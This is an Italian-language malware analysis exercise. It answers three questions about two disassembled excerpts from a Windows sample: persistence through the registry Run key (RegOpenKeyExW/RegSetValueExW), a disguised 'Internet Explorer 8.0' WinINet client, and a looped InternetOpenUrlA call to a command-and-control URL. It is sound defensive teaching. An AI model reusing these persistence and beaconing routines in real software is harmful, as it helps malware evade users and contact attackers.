Malware analysis - Windows Malware

Sommario

Traccia S11-L1

Con riferimento agli estratti di un malware reale presenti nelle prossime slide, rispondere alle seguenti domande:

- Step 1: descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite
- Step 2: identificare il client software utilizzato dal malware per la connessione ad Internet
- Step 3: identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL

```
)040286F   push    2               ; samDesired
)0402871   push    eax             ; ulOptions
)0402872   push    offset SubKey   ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
)0402877   push    HKEY_LOCAL_MACHINE ; hKey
)040287C   call    esi ; RegOpenKeyExW
)040287E   test    eax, eax
)0402880   jnz     short loc_4028C5
)0402882
)0402882 loc_402882:
)0402882   lea     ecx, [esp+424h+Data]
)0402886   push    ecx             ; lpString
)0402887   mov     bl, 1
)0402889   call    ds:lstrlenW
)040288F   lea     edx, [eax+eax+2]
)0402893   push    edx             ; cbData
)0402894   mov     edx, [esp+428h+hKey]
)0402898   lea     eax, [esp+428h+Data]
)040289C   push    eax             ; lpData
)040289D   push    1               ; dwType
)040289F   push    0               ; Reserved
)04028A1   lea     ecx, [esp+434h+ValueName]
)04028A8   push    ecx             ; lpValueName
)04028A9   push    edx             ; hKey
)04028AA   call    ds:RegSetValueExW
```

```
.text:00401150 ; ||||||||||||||| S U B R O U T I N E |||||||||||||||||||||||||||||||||||||||
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress    proc near               ; DATA XREF: sub_401040+EC↑o
.text:00401150                 push    esi
.text:00401151                 push    edi
.text:00401152                 push    0               ; dwFlags
.text:00401154                 push    0               ; lpszProxyBypass
.text:00401156                 push    0               ; lpszProxy
.text:00401158                 push    1               ; dwAccessType
.text:0040115A                 push    offset szAgent  ; "Internet Explorer 8.0"
.text:0040115F                 call    ds:InternetOpenA
.text:00401165                 mov     edi, ds:InternetOpenUrlA
.text:0040116B                 mov     esi, eax
.text:0040116D
.text:0040116D loc_40116D:                             ; CODE XREF: StartAddress+30↓j
.text:0040116D                 push    0               ; dwContext
.text:0040116F                 push    80000000h       ; dwFlags
.text:00401174                 push    0               ; dwHeadersLength
.text:00401176                 push    0               ; lpszHeaders
.text:00401178                 push    offset szUrl    ; "http://www.malware12COM
.text:0040117D                 push    esi             ; hInternet
.text:0040117E                 call    edi ; InternetOpenUrlA
.text:00401180                 jmp     short loc_40116D
.text:00401180 StartAddress    endp
.text:00401180
```

Step 1

Il codice fornito sembra essere un esempio di come un malware può ottenere la persistenza su un sistema. Questo frammento di codice utilizza il registro di sistema di windows per ottenere la persistenza.

In particolare, il codice sta cercando di aprire una chiave di registro specifica **("Software\\Microsoft\\Windows\\CurrentVersion\\Run")** nel registro. Questa chiave è comunemente utilizzata per elencare i programmi che devono essere eseguiti all'avvio del sistema.

Se l'apertura della chiave ha successo **(RegOpenKeyExW)**, il codice successivamente imposta un valore in quella chiave **(RegSetValueExW)**. Questo valore probabilmente punta all'eseguibile. In questo modo, ogni volta che il sistema si avvia, il malware viene eseguito automaticamente, ottenendo così la persistenza.

Step 2

Il malware utilizza le API di Windows per stabilire una connessione a Internet. In particolare, il malware utilizza le funzioni **''InternetOpenA''** e **''InternetOpenUrlA''** della libreria WinINet di Windows. Queste funzioni sono comunemente utilizzate per stabilire connessioni a Internet.

La funzione **''InternetOpenA''** viene chiamata con l'agente utente impostato su `"Internet Explorer 8.0", che indica che il malware sta cercando di mascherarsi con Internet Explorer quando si connette a Internet.

Step 3

Dopo aver stabilito una connessione a Internet, il malware chiama la **funzione ''InternetOpenUrlA''** per aprire l'URL "http://www.malware12.com". Questo è probabilmente il server di comando e controllo del malware, potrebbe essere utilizzato per inviare comandi al malware o per esfiltrare dati dal sistema infetto.